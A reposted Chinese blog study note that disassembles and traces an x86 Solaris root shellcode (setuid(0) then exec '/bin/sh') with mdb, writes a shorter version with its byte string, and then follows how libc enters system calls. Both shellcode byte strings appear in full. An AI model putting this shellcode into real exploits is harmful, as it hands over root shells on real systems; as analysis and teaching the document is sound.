Solaris学习笔记Windows系统(共5篇)由网友“毛野椰”投稿提供,下面小编为大家整理后的Solaris学习笔记Windows系统,希望能帮助大家!
篇1:Solaris学习笔记Windows系统
Solaris学习笔记(2) 作者: Badcoffee Email: blog.oliver@gmail.com Blog: blog.csdn.net/yayong 7月 1. 一段shell code的分析 最近新发现的一个Solaris的 安全 漏洞可以使一个非特权用户利用一个很简单的攻击程序得到系统的root权限,为了不让
Solaris学习笔记(2)作者: Badcoffee
Email: blog.oliver@gmail.com
Blog:blog.csdn.net/yayong
207月
1. 一段shell code的分析最近新发现的一个Solaris的安全漏洞可以使一个非特权用户利用一个很简单的攻击程序得到系统的root权限,为了不让用Solaris系统的人遭暗算,具体细节就不说了,毕竟这篇文章不是教别人攻击别人系统的 教程:)这里只研究攻击程序里面的一段shell code。
问题:什么是shell code?
要了解shell code,先从缓冲区溢出谈起。
缓冲区溢出是 比较常用的攻击手段之一。众所周知,如果向一个有限空间的缓冲区拷贝了过长的字符串,就会覆盖相邻的存储单元。进程的局部变量保存在 stack当中的,一个函数的stack frame相邻的就是调用该函数时保存的返回地址。当发生缓冲区溢出并且覆盖到存储在stack中的函数反回地址,那么当函数执行完毕后就无法正常返回。因为这时返回地址往往是一个无效的地址,在这样的情况下系统一般报告: “core dump”或“segment fault”。如果这种缓冲区溢出经过精心的计算,使得溢出后覆盖到返回地址的那个地址指向我们写的一段机器指令序列,那么这个进程的流程就会被改变,从而由我们来控制。
多数情况下,这段精心设计的指令一般的目的是执行“/bin/sh”,从而得到一个shell,因此这段代码被称为:“shell code”。如果被溢出程序是一个suid root程序,得到的将是一个root shell,这样整个机器就因为缓冲区溢出而被完全控制了。
关于缓冲区溢出,aleph one的Smashing The Stack For Fun And Profit做入门教程不错,可以看看。
为方便分析,我们把这段shell code单独拿出来,放到一个非常简单的c程序里研究。
下面是test1.c的源代码:
static char sh[] = “\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff”;
int main {
void (*f)();
f = (void*)sh;
f();
return 0;
}
这里用函数指针指向字符数组sh,sh包含了整段shell code。main函数中通过对一个指向sh的函数指针的调用,从而使shell code得到执行。可以看到,程序运行后,当前的shell由bash变为了sh:
bash-3.00# gcc test1.c -o test1
bash-3.00# ./test1
#<--- 提示符改变,说明/bin/sh已经被运行,shell code执行成功
下面我们就反汇编分析这段代码。由于这段shell code在数据段,且不是一个函数定义,因此用mdb反汇编比用dis更直观一些:
# mdb ./test1
>main::dis
main: pushl %ebp
main+1: movl %esp,%ebp --->建立main函数的Stack Frame
main+3: subl x8,%esp
main+6: andl xfffffff0,%esp
main+9: movl x0,%eax
main+0xe: addl xf,%eax
main+0x11:addl xf,%eax
main+0x14:shrl x4,%eax
main+0x17:shll x4,%eax
main+0x1a:subl %eax,%esp --->main+3至main+0x1a的作用使main函数的栈对齐
main+0x1c:movl x8060a40,-0x4(%ebp) --->把数据段的sh的地址赋值给函数指针
main+0x23:movl -0x4(%ebp),%eax
main+0x26:call *%eax --->调用shell code
main+0x28:movl x0,%eax
main+0x2d:leave
main+0x2e:ret
>0x8060a40=p --->将地址转换为符号
test1`sh --->可以看到,该地址就是sh的起始地址
>sh,1a/ai
test1`sh:
test1`sh: xorl %eax,%eax
test1`sh+2: jmp +0xb--->1. 向前跳转到地址test1`sh+0xd
test1`sh+4: popl %edx--->3. 将lcall指令的地址从栈中弹出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) --->4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall x7,x0
test1`sh+0xb: jmp +0xf--->5. 向前跳转到地址test1`sh+0x1a
test1`sh+0xd: call -0x9--->2. 向后调用到地址test1`sh+4指令,同时下条指令lcall的地址test1`sh+0x12将作为返回地址压栈
test1`sh+0x12: lcall x107,x1010101 --->9. 步骤4中已经将lcall指令修改为lcall x7,x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用
test1`sh+0x19: ret --->10.从setuid系统调用返回后,再执行返回指令会使xorl指令地址test1`sh+0x22从栈中弹出到eip中,使cpu从xorl处执行
test1`sh+0x1a: pushl %eax--->6. 此时eax寄存器的值是0,将0压栈是为构造setuid调用的入口参数,并且其值为0,即root的id
test1`sh+0x1b: movb x17,%al --->7. 把setuid的系统调用号0x17放入到eax,是Solaris系统调用的要求
test1`sh+0x1d: call -0xb--->8. 向后调用地址test1`sh+0x12指令,此时lcall指令已经被修改了(见步骤4),同时将下条xorl指令的地址test1`sh+0x22压栈
test1`sh+0x22: xorl %eax,%eax --->11.用xorl指令来给eax寄存器内容清零,常见的快速清零指令
test1`sh+0x24: pushl x5f68732f
test1`sh+0x29: pushl x6e69622f --->12.test1`sh+0x24和test1`sh+0x29将8个字符“/bin/sh_”压入栈中
test1`sh+0x2e: movb %al,0x7(%esp) --->13.修改前面压入栈中的第8个字符,改为寄存器al中的值,即0;此时8个字符形成以“”结尾的字符串:“/bin/sh”
test1`sh+0x32: movl %esp,%ebx --->14.将栈顶esp地址移入ebx,即“/bin/sh“串的地址存入ebx寄存器
test1`sh+0x34: pushl %eax--->15.将0压栈,这是exec的调用的第2个参数的第2个元素地址
test1`sh+0x35: pushl %ebx--->16.将ebx内容压栈,即将”/bin/sh“串的地址压栈,这是exec调用的第2个参数的第一个元素的地址
test1`sh+0x36: leal (%esp),%ecx --->17.将栈顶esp的地址存入ecx,即”/bin/sh“串的地址的地址存入ecx
test1`sh+0x39: leal 0x4(%esp),%edx --->18.将栈的esp+4的地址存入edx,即把步骤15压入栈的0的地址存入edx。本条指令没有实际意义
test1`sh+0x3d: pushl %edx--->19.将edx压栈,即将栈中“0”的地址压入栈;本条指令没有实际意义
test1`sh+0x3e: pushl %ecx--->20.将ecx压栈,即将“/bin/sh”串地址的地址压入栈;这是exec调用的第2个参数
test1`sh+0x3f: pushl %ebx--->21.将ebx内容压栈,即“/bin/sh”串的地址压栈,这是exec调用的第1个参数
test1`sh+0x40: movb xb,%al --->22.将exec的系统调用号0xb放入eax寄存器,这是Solaris系统调用的要求
test1`sh+0x42: call -0x30 --->23.向后调用test1`sh+0x12地址处的指令,即lcall x7,x0,调用exec系统调用
关于main函数的栈对齐及Stack Frame的概念,可以参考X86汇编语言学习手记(1)。
一般而言一个shell code至少要利用exec(2)类的系统调用来获得一个shell,但又不能依赖于任何共享库,甚至是libc库。因此shell code必须要绕过libc对系统调用的包装来直接调用操作系统提供的系统调用服务。在Solaris上,支持的系统调用的指令有5种:
lcall x7,x0 --->调用门,最古老的方式,现在保留是为了向前兼容
lcall x27,x0 --->调用门,Solaris 10以前,在不支持快速系统调用的x86机器上使用的系统调用方式
int x91 --->陷阱门,OpenSolaris在不支持快速系统调用的x86机器上使用的系统调用方式
sysenter --->快速系统调用指令,Solaris 10在Intel和AMD的32位模式下的系统调用方式
syscall --->快速系统调用指令,Solaris 10在Intel和AMD的64位模式下的系统调用方式
关于Solaris的系统调用,请参考阅读笔记: x86系统调用入门。
可以在这段shell code反汇编的结果里找到lcall指令:
test1`sh+0x12: lcall x107,x1010101 --->9. 步骤4中已经将lcall指令修改为lcall x7,x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用
虽然这个lcall指令并没有调用x7和x27,但是如果用mdb来跟踪一下,就会发现,原来在程序运行过程中这条lcall指令会被动态修改成为
lcall x7,x0
具体的修改指令如下:
test1`sh+4: popl %edx--->3. 将lcall指令的地址从栈中弹出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) --->4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall x7,x0
在调用系统调用的指令之前,Solaris要求把系统调用号存入eax寄存器,因此,我们可以根据lcall执行前的eax的值查到这段shell code究竟使用了哪些系统调用:
# vi /etc/name_to_sysnum
........
exec 11 --->16进制的0xb
........
setuid23 --->16进制的0x17
........
如果读过阅读笔记:如何给OpenSolaris增加一个系统调用这篇文章就知道,在内核中维护着一张系统调用号和内核处理函数指针的表。就在sysent.c里的sysent结构中可以找到相关的定义:
/* 11 */ SYSENT_CI(“exec”, exec, 2),
/* 23 */ SYSENT_CI(“setuid”, setuid, 1),
因此可以很容易的找到内核中exec调用的入口函数,就在usr/src/uts/common/os/exec.c中:
/*
* exec() - wrapper around exece providing NULL environment pointer
*/
int
exec(const char *fname, const char **argp)
{
return (exece(fname, argp, NULL)); --->调用了内核中的另一个入口点exece,该入口对应用户层libc中的execve函数。
}
同样的,setuid调用的入口函数,就在usr/src/uts/common/syscall/uid.c中:
int
setuid(uid_t uid)
{
........
}
现在我们知道这段shell code使用了系统调用setuid(2)和exec(2),在用户层setuid的定义是:
int setuid(uid_t uid);
但用户层却找不到名字与exec相同的函数定义,只有execv的参数和内核函数exec最接近:
int execv(const char *path, char *const argv[]);
把这段shell code对应成c语言,大概是如下形式:
# vi test2.c
#include
#include
int main()
{
char *argv[2]={“/bin/sh”, NULL};
setuid(0);
execv(argv[0],argv);
return 0;
}
如果将test2.c和libc.a静态链接起来,就可以得到进入系统调用的汇编指令,但是Solaris 10已经不提供libc.a了。
下面就用mdb来跟踪一下整个shell code的执行过程:
>main+0x26:b --->设置断点
>test1`sh+0xd:b --->设置断点
>:r --->运行test1
mdb: stop at main+0x26
mdb: target stopped at:
main+0x26:call *%eax --->test1运行到断点main+0x26处,停止,下句指令就要调用shell code
>:c --->继续运行
mdb: stop at test1`sh+0xd
mdb: target stopped at:
test1`sh+0xd: call -0x9
>
0x804743c:
0x804743c:main+0x28
0x8047440:libc.so.1`_fpstart+0x29
0x8047444:0x8050872
0x8047448:0x80608dc
0x804744c:0x8047438
0x8047450:0x804745c
0x8047454:_init+0x1a
0x8047458:test1`sh
0x804745c:0x8047470
0x8047460:_start+0x80
0x8047464:1
0x8047468:0x804747c
0x804746c:0x8047484
0x8047470:0
0x8047474:0
0x8047478:1
0 --->此时eax的值为0
>:s;
mdb: target stopped at:
test1`sh+4: popl %edx
0x8047438:
0x8047438:test1`sh+0x12 --->根据注释2,lcall指令的地址被压栈
0x804743c:main+0x28
0x8047440:libc.so.1`_fpstart+0x29
0x8047444:0x8050872
0x8047448:0x80608dc
0x804744c:0x8047438
0x8047450:0x804745c
0x8047454:_init+0x1a
0x8047458:test1`sh
0x804745c:0x8047470
0x8047460:_start+0x80
0x8047464:1
0x8047468:0x804747c
0x804746c:0x8047484
0x8047470:0
0x8047474:0
0
>:s;
mdb: target stopped at:
test1`sh+5: movl %eax,0x1(%edx) --->根据注释4,这条指令将会修改lcall指令
0x804743c:
0x804743c:main+0x28 --->根据注释3,lcall指令地址被弹出,栈顶恢复到原来的值
0x8047440:libc.so.1`_fpstart+0x29
0x8047444:0x8050872
0x8047448:0x80608dc
0x804744c:0x8047438
0x8047450:0x804745c
0x8047454:_init+0x1a
0x8047458:test1`sh
0x804745c:0x8047470
0x8047460:_start+0x80
0x8047464:1
0x8047468:0x804747c
0x804746c:0x8047484
0x8047470:0
0x8047474:0
0x8047478:1
0
8060a52 --->这是edx寄存器的值
>8060a52/ai --->将edx指向的内容转换成汇编指令
test1`sh+0x12:
test1`sh+0x12: lcall x107,x1010101 --->恰好是edx指向的恰好是lcall指令,正如注释3所说
>:s;
mdb: target stopped at:
test1`sh+8: movb %al,0x6(%edx) --->根据注释4,这条指令将会修改lcall指令
0x804743c:
0x804743c:main+0x28
0x8047440:libc.so.1`_fpstart+0x29
0x8047444:0x8050872
0x8047448:0x80608dc
0x804744c:0x8047438
0x8047450:0x804745c
0x8047454:_init+0x1a
0x8047458:test1`sh
0x804745c:0x8047470
0x8047460:_start+0x80
0x8047464:1
0x8047468:0x804747c
0x804746c:0x8047484
0x8047470:0
0x8047474:0
0x8047478:1
0
test1`sh+0x12 --->edx的内容已经按地址显示,正好是lcall指令的地址
>test1`sh+0x12/ai --->将地址处的二进制数转换指令
test1`sh+0x12:
test1`sh+0x12: lcall x107,x0 --->注意,lcall指令已经被修改了一部分
>:s; mdb: target stopped at: test1`sh+0xb: jmp +0xf 0x804743c: 0x804743c:main+0x28 0x8047440:libc.so.1`_fpstart+0x29 0x8047444:0x8050872 0x8047448:0x80608dc 0x804744c:0x8047438 0x8047450:0x804745c 0x8047454:_init+0x1a 0x8047458:test1`sh 0x804745c:0x8047470 0x8047460:_start+0x80 0x8047464:1 0x8047468:0x804747c 0x804746c:0x8047484 0x8047470:0 0x8047474:0 0x8047478:1 0 test1`sh+0x12 >test1`sh+0x12/ai test1`sh+0x12: test1`sh+0x12: lcall x7,x0--->至此,lcall指令修改完毕,正好是Solaris的系统调用的指令 >:s; mdb: target stopped at: test1`sh+0x1a: pushl %eax 0x804743c: 0x804743c:main+0x28 0x8047440:libc.so.1`_fpstart+0x29 0x8047444:0x8050872 0x8047448:0x80608dc 0x804744c:0x8047438 0x8047450:0x804745c 0x8047454:_init+0x1a 0x8047458:test1`sh 0x804745c:0x8047470 0x8047460:_start+0x80 0x8047464:1 0x8047468:0x804747c 0x804746c:0x8047484 0x8047470:0 0x8047474:0 0x8047478:1 0 >:s; mdb: target stopped at: test1`sh+0x1b: movb x17,%al 0x8047438: 0x8047438:0 --->根据注释6,这是setuid调用的第一个参数 0x804743c:main+0x28 0x8047440:libc.so.1`_fpstart+0x29 0x8047444:0x8050872 0x8047448:0x80608dc 0x804744c:0x8047438 0x8047450:0x804745c 0x8047454:_init+0x1a 0x8047458:test1`sh 0x804745c:0x8047470 0x8047460:_start+0x80 0x8047464:1 0x8047468:0x804747c 0x804746c:0x8047484 0x8047470:0 0x8047474:0 0 >:s; mdb: target stopped at: test1`sh+0x1d: call -0xb 0x8047438: 0x8047438:0 0x804743c:main+0x28 0x8047440:libc.so.1`_fpstart+0x29 0x8047444:0x8050872 0x8047448:0x80608dc 0x804744c:0x8047438 0x8047450:0x804745c 0x8047454:_init+0x1a 0x8047458:test1`sh 0x804745c:0x8047470 0x8047460:_start+0x80 0x8047464:1 0x8047468:0x804747c 0x804746c:0x8047484 0x8047470:0 0x8047474:0 17 --->根据注释7,setuid的系统调用号已经被存入eax >:s; mdb: target stopped at: test1`sh+0x12: lcall x7,x0 --->进入setuid系统调用前夕,调用号和调用入口参数已准备好 0x8047434: 0x8047434:test1`sh+0x22 --->根据注释8,我们看到,setuid返回后的地址被压栈 0x8047438:0 0x804743c:main+0x28 0x8047440:libc.so.1`_fpstart+0x29 0x8047444:0x8050872 0x8047448:0x80608dc 0x804744c:0x8047438 0x8047450:0x804745c 0x8047454:_init+0x1a 0x8047458:test1`sh 0x804745c:0x8047470 0x8047460:_start+0x80 0x8047464:1 0x8047468:0x804747c 0x804746c:0x8047484 0x8047470:0 17 >:s; mdb: target stopped at: test1`sh+0x19: ret 0x8047434: 0x8047434:test1`sh+0x22 --->根据注释10,执行返回指令后,该地址将被弹出到eip 0x8047438:0 0x804743c:main+0x28 0x8047440:libc.so.1`_fpstart+0x29 0x8047444:0x8050872 0x8047448:0x80608dc 0x804744c:0x8047438 0x8047450:0x804745c 0x8047454:_init+0x1a 0x8047458:test1`sh 0x804745c:0x8047470 0x8047460:_start+0x80 0x8047464:1 0x8047468:0x804747c 0x804746c:0x8047484 0x8047470:0 0 >:s; mdb: target stopped at: test1`sh+0x22: xorl %eax,%eax --->返回到了前面弹出栈的地址,马上要执行清零,见注释11 0x8047438: 0x8047438:0 0x804743c:main+0x28 0x8047440:libc.so.1`_fpstart+0x29 0x8047444:0x8050872 0x8047448:0x80608dc 0x804744c:0x8047438 0x8047450:0x804745c 0x8047454:_init+0x1a 0x8047458:test1`sh 0x804745c:0x8047470 0x8047460:_start+0x80 0x8047464:1 0x8047468:0x804747c 0x804746c:0x8047484 0x8047470:0 0x8047474:0 0 >test1`sh+0x2e:b >:c mdb: stop at test1`sh+0x2e mdb: target stopped at: test1`sh+0x2e: movb %al,0x7(%esp) > 0x8047430: 0x8047430:0x6e69622f --->这时注释12所描述的被压入栈的“/bin/sh_” 0x8047434:0x5f68732f 0x8047438:0 0x804743c:main+0x28 0x8047440:libc.so.1`_fpstart+0x29 0x8047444:0x8050872 0x8047448:0x80608dc 0x804744c:0x8047438 0x8047450:0x804745c 0x8047454:_init+0x1a 0x8047458:test1`sh 0x804745c:0x8047470 0x8047460:_start+0x80 0x8047464:1 0x8047468:0x804747c 0x804746c:0x8047484 0 >0x8047430/s --->将当前栈顶的内容按字符串输出,可以看到正如注释12描述的情形 0x8047430:/bin/sh_ >test1`sh+0x42:b >:c mdb: stop at test1`sh+0x42 mdb: target stopped at: test1`sh+0x42: call -0x30 > 0x804741c: 0x804741c:0x8047430 0x8047420:0x8047428 0x8047424:0x804742c 0x8047428:0x8047430 0x804742c:0 0x8047430:0x6e69622f 0x8047434:0x68732f 0x8047438:0 0x804743c:main+0x28 0x8047440:libc.so.1`_fpstart+0x29 0x8047444:0x8050872 0x8047448:0x80608dc 0x804744c:0x8047438 0x8047450:0x804745c 0x8047454:_init+0x1a 0x8047458:test1`sh b--->这是exec的调用号,已经存入eax >0x8047430/s 0x8047430:/bin/sh--->exec第一个参数:const char *fname >0x8047428/X 0x8047428:0x8047430 --->exec第二个参数:const char **argp >0x8047430/s 0x8047dc0:/bin/sh--->exec第二个参数的第一个元素:argp[0] >0x8047438/X 0x8047438:0--->exec第二个参数第二个元素: argp[1] > >:s mdb: target stopped at: test1`sh+0x12: lcall x7,x0 从上面可以清楚地看到,以Solaris的lcall方式进入系统调用前,需要具备如下条件: 1. 系统调用的入口参数要从右至左顺序压入栈中, 2. 系统调用号要存入eax寄存器。 不清楚为何这段shell code不直接调用lcall x07,x0,而是运行过程中再修改? 也不清楚为何“/bin/sh”字符串不直接压入栈,而是运行中由“/bin/sh_”来修改得到? 在Unix/Linux下,如何写shell code可以参考Writing Linux/x86 shellcodes for dum dums这篇文章。 这篇文章中提到,一种检测攻击代码的方法是查找像“/bin/sh”一类的字符串,并给出了如何逃过这种检测的例子。本篇文章的shell code大费周章的做法,也许就是为了逃避安全扫描程序的检测吧。如果这种扫描程序真的是以/bin/sh和lcall x7,x0来扫描可疑程序,真的会失手呢。 2. 简化这段shell code 这种运行中动态修改指令的做法恐怕也只能是在缓冲区溢出的攻击中做到,因为一般的程序是在代码段中的,而代码段是只读的,如果运行zh过程中修改自己的指令部分,将会因SIGFAULT的错误而core dump。前面的例子中,test1恰好是把shell code放到了数据段,数据段是可读写的,因此这段shell code才能运行。 我们可以用elfdump来查看test1,可以看到sh属于数据段.data: # elfdump test1 | grep sh ................... [48] 0x08060a40 0x00000048 OBJT LOCL D 0 .data sh ................... 如果那些运行时修改指令的语句是为了躲避扫描程序检测,那完全可以去掉这些语句,来简化这段shell code。 另外,可以根据内核中exec的参数个数判断,test1中的下面的语句没有实际意义,可以去掉: test1`sh+0x39: leal 0x4(%esp),%edx --->18.将栈的esp+4的地址存入edx,即把步骤15压入栈的0的地址存入edx。本条指令没有实际意义 test1`sh+0x3d: pushl %edx--->19.将edx压栈,即将栈中“0”的地址压入栈;本条指令没有实际意义 基于前面test1的反汇编的结果,去掉上面提到的语句后,我们可以得到一段汇编程序: # vi test3.s .text .globl main .type main, @function main: xorl %eax,%eax jmp 2f 1: lcall x07,x0 ret 2: pushl %eax movb x17,%al call 1b xorl %eax,%eax pushl x0068732f pushl x6e69622f movl %esp,%ebx pushl %eax pushl %ebx leal (%esp),%ecx pushl %ecx pushl %ebx movb xb,%al call 1b .size main, .-main 汇编编和链接生成二进制文件。可以看到,shell code是在main函数中,属于代码段: # as test3.s -o test3.o # ld test3.o -o test3 # elfdump test3 | grep main [4] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main [17] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main 5 [4] main 用dis来反汇编main函数,就可以得到新的shell code的机器码了: # dis -F main ./test3 **** DISASSEMBLER **** disassembly for ./test3 section .text main() main: 33 c0 xorl %eax,%eax main+0x2: eb 08 jmp +0xa main+0x4: 9a 00 00 00 00 07 00 lcall x7,x0 main+0xb: c3 ret main+0xc: 50 pushl %eax main+0xd: b0 17 movb x17,%al main+0xf: e8 f0 ff ff ff call -0xb main+0x14: 33 c0 xorl %eax,%eax main+0x16: 68 2f 73 68 00 pushl x68732f main+0x1b: 68 2f 62 69 6e pushl x6e69622f main+0x20: 8b dc movl %esp,%ebx main+0x22: 50 pushl %eax main+0x23: 53 pushl %ebx main+0x24: 8d 0c 24 leal (%esp),%ecx main+0x27: 51 pushl %ecx main+0x28: 53 pushl %ebx main+0x29: b0 0b movb xb,%al main+0x2b: e8 d4 ff ff ff call -0x27 如果运行test3,会起到和test1一样的效果。完全可以用反汇编出的机器码代替那个攻击程序中原来的shell code定义: static char sh[] = “\x31\xc0\xeb\x08\x9a\x00\x00\x00\x00\x07\x00\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x8d\x0c\x24\x51\x53\xb0\x0b\xe8\xcf\xff\xff\xff”; 当然,把这段shell code拿到攻击程序中验证了一下,确实依旧具有杀伤力。但是,这个新的shell code短了十几个字节。 3. 更进一步 到目前为止,前面所有的过程都是通过mdb和dis反汇编后,在汇编代码一级的分析。既然Solaris已经Open Source了,为什么不直接从源代码里印证一下呢? 首先,我们验证一下Solaris进入到系统调用的方式,在usr/src/lib/libc目录下,我们可以找到libc实现的源代码。该目录下按照libc函数和硬件的相关性分了很多目录,setuid(2)和exec(2)看起来和硬件没有什么相关,应该在common目录下,common只有一个子目录sys,所以不难找到这两个系统调用在libc的源文件setuid.s和execve.s。 下面是setuid在libc 的实现片断: #include “SYS.h” ANSI_PRAGMA_WEAK2(_private_setuid,_setuid,function) SYSCALL_RVAL1(setuid) RETC SET_SIZE(setuid) 由于exec调用在libc中没有对应的实现,而与之参数形式最接近的execv(2)实际上只是在execve(2)上包装了一下,最终还是调用的execve。因此在这里我们考察execve在libc的实现片断: #include “SYS.h” ANSI_PRAGMA_WEAK2(_private_execve,execve,function) SYSCALL_RVAL1(execve) SET_SIZE(execve) 这两个系统调用在libc是用汇编实现的,但其中的汇编语句已经被宏定义所代替,在usr/src/uts/intel/ia32/sys/asm_linkage.h中可以找到一般的IA32体系结构的汇编的宏定义。ANSI_PRAGMA_WEAK2 这个宏的的定义如下: /* * Like ANSI_PRAGMA_WEAK(), but for unrelated names, as in: * #pragma weak sym1 = sym2 */ #define ANSI_PRAGMA_WEAK2(sym1, sym2, stype) \ .weak sym1; \ .type sym1, @stype; \ sym1 = sym2 这里面用到的相关语法及伪指令可以参考x86 Assembly Language Reference Manual。 如果看注释的话,不难了解,其实这个宏的作用就是符号定义,给系统调用定义了weak类型的符号别名,相当于ANSI C的: #pragma weak sym1 = sym2 用nm命令可以验证一下这个宏的实际作用: # nm /lib/libc.so.1 | grep setuid [712] | 647744|21|FUNC |LOCL |2 |10 |_private_setuid [6643] | 647744|21|FUNC |GLOB |0 |10 |_setuid [6473] | 647744|21|FUNC |WEAK |0 |10 |setuid 可以看到,_private_setuid和_setuid及setuid是多个符号对应着同一个函数。 用nm也可以验证libc中确实没有exec的定义,由于输出很多,这里就不列出了: # nm /lib/libc.so.1 | grep exec SET_SIZE 这个宏的作用是定位函数并为ELF文件的符号表指示长度,其实展开就是Solaris汇编器的伪指令.size: #define SET_SIZE(x) \ 285 .size x, [.-x] RETC这个宏是用来定义系统调用的返回指令,在libc的源代码SYS.h中,可以找到如下定义: /* * Syscall return sequence with return code forced to zero. */ #define RETC \ xorl %eax, %eax; \ ret 可以看到注释中的说明,RETC的宏在返回前将return code强制设为0。 为什么libc的execve的实现中没有返回指令呢? 这个问题相信不难解答。实际上execve系统调用一旦执行成功,就会把调用该调用的进程覆盖掉,因此,也就不存在返回的问题了。 这里我们略过其它宏,只研究关心的部分,即SYSCALL_RVAL1这个宏。在libc的源代码SYS.h有一系列宏定义: #if defined(_SYSC_INSN) --->兼容AMD64位的系统 #define SYSTRAP_RVAL1(name) __SYSCALL(name) #define SYSTRAP_RVAL2(name) __SYSCALL(name) #define SYSTRAP_2RVALS(name) __SYSCALL(name) #define SYSTRAP_64RVAL(name) __SYSCALL(name) #else /* _SYSC_INSN */ #if defined(_SEP_INSN)--->兼容IA32的支持快速系统调用的系统 #define SYSTRAP_RVAL1(name) __SYSENTER(name) #else /* _SEP_INSN */ #define SYSTRAP_RVAL1(name) __SYSCALLINT(name) #endif /* _SEP_INSN */ #define SYSTRAP_RVAL2(name) __SYSCALLINT(name) #define SYSTRAP_2RVALS(name) __SYSCALLINT(name) #define SYSTRAP_64RVAL(name) __SYSCALLINT(name) #endif /* _SYSC_INSN */ 在i386_hwcap1及i386_hwcap2源代码目录下的Makefile文件中针对AMD64和IA32的支持快速系统调用的CPU分别定义了如下的宏: _SYSC_INSN--兼容AMD64位的系统,使用syscall作为快速系统调用指令,对应libc的hwcap2版本 _SEP_INSN--兼容IA32的支持快速系统调用的系统,使用sysenter作为快速系统调用指令,对应libc的hwcap1版本 因此,Solaris除了系统会提供标准的libc版本外,还会有相应的硬件优化版本,分别是支持__SYSCALL()的hwcap2版本或者使用 __SYSENTER()的 hwcap1版本。 而在标准的libc库的Makefile因为没有定义上面提到的两个宏,因此SYSCALL_RVAL1就是__SYSCALLINT了: #define __SYSCALLINT(name) \ /* CSTYLED */\ movl $SYS_/**/name, %eax; \ int $T_SYSCALLINT 在usr/src/uts/intel/ia32/sys/trap.h中,可以找到T_SYSCALLINT的值: #define T_SYSCALLINT 0x91 /* general system call */ 可以看到,OpenSolaris标准的libc用的是int x91的方式。 很可惜在SYS.h中已经找不到lcall的方式了。在阅读笔记: x86系统调用入门中可以知道,OpenSolaris的标准libc库已经用int x91全面取代lcall的方式,这种方式和Linux的int x80是类似的。在这篇文章中,我们可以找到SYS.h原来的影子: MILY: monospace“> rab>pwd.../usr/src/lib/libc/i386/incrab >grep SYSTRAP_RVAL1 SYS.h #define SYSTRAP_RVAL1(name) __SYSCALL(name) #define SYSTRAP_RVAL1(name) __SYSENTER(name) #define SYSTRAP_RVAL1(name) __SYSLCALL(name) #define __SYSLCALL(name) \ /* CSTYLED */ \ movl $SYS_/**/name, %eax; \ lcall $SYSCALL_TRAPNUM, 当然,不论是哪一种方式,在调用系统调用之前,都会把SYS_/**/name的宏存入eax寄存器。根据系统调用的名字不同,name要被替换成相应的调用名字,对于setuid和execve,可以在syscall.h找到定义: #define SYS_setuid 23 --->这个值就是16进制的0x17 #define SYS_execve 59 --->这个值不是0xb,说明execve和exec是两个不同的系统调用 就在sysent.c里的sysent结构中可以找到调用号59对应的入口: /* 59 */ SYSENT_CI(”exece“, exece, 3), 原来内核中另外还有一个exece的入口点,来支持libc中的execve进入系统调用。如前所述,内核中的exec函数是调用号11的入口点,再回头看它的代码,实际上它就是直接在内核中调用exece来实现的。 我们可以用mdb来反汇编libc的系统调用,验证一下。由于P4的CPU支持快速系统调用指令sysenter,因此Solaris默认会把 libc_hwcap1.so.1 mount在/lib/libc.so.1上,因此,要观察标准的libc库,需要先umount libc: # df -h Filesystem size used avail capacity Mounted on /dev/dsk/c0d0s0 11G 4.3G 6.2G 42% / objfs 0K 0K 0K 0% /system/object /usr/lib/libc/libc_hwcap1.so.1 11G 4.3G 6.2G 42% /lib/libc.so.1 --->可以看到libc_hwcap1.so.1 mount在了这里 swap 872M 8K 872M 1% /tmp swap 872M 28K 872M 1% /var/run /dev/dsk/c0d0s7 25G 12G 13G 49% /export/home # umount /lib/libc.so.1 # mdb /lib/libc.so.1 --->因为umount了,所以这时的libc是标准的libc Loading modules: [ libc.so.1 ] >setuid::dis setuid: movl x17,%eax setuid+5: lcall x27,x0 setuid+0xc: jb -0x807ac <__cerror> setuid+0x12: xorl %eax,%eax setuid+0x14: ret >execve::dis execve: movl x3b,%eax execve+5: lcall x27,x0 execve+0xc: jb -0x7febc <__cerror> 可以看到,由于我的机器安装的是Solaris 10,而不是OpenSolaris,因此标准的libc库用的是lcall方式。 如果安装的是最新的OpenSolaris,上面的结果就是使用int x91了。 我们可以在/usr/lib/libc/目录下找到为AMD64和IA32硬件优化版本的libc库: # mdb /usr/lib/libc/libc_hwcap1.so.1 --->IA32兼容的优化版libc,使用的是快速系统调用sysenter >setuid::dis setuid: call +0x5 setuid+5: popl %edx setuid+6: movl x17,%eax setuid+0xb: movl %esp,%ecx setuid+0xd: addl x10,%edx setuid+0x13: sysenter setuid+0x15: jb -0x80b55 <__cerror> setuid+0x1b: xorl %eax,%eax setuid+0x1d: ret >execve::dis execve: call +0x5 execve+5: popl %edx execve+6: movl x3b,%eax execve+0xb: movl %esp,%ecx execve+0xd: addl x10,%edx execve+0x13: sysenter execve+0x15: jb -0x80185 <__cerror> # mdb /usr/lib/libc/libc_hwcap2.so.1 --->AMD64兼容的优化版libc,使用的是快速系统调用syacall >setuid::dis setuid: movl x17,%eax setuid+5: syscall setuid+7: jb -0x80347 <__cerror> setuid+0xd: xorl %eax,%eax setuid+0xf: ret >execve::dis execve: movl x3b,%eax execve+5: syscall execve+7: jb -0x7fde7 <__cerror> Solairs的libc进入系统调用的一般情况就研究到这里。进一步的说明,请参考阅读笔记: x86系统调用入门 和阅读笔记:如何给OpenSolaris增加一个系统调用 。 Technorati Tag: OpenSolaris Technorati Tag: Solaris 原文转自:www.ltesting.net 许多问题都是由于分区不合理所致: 1、/或/usr等分区满 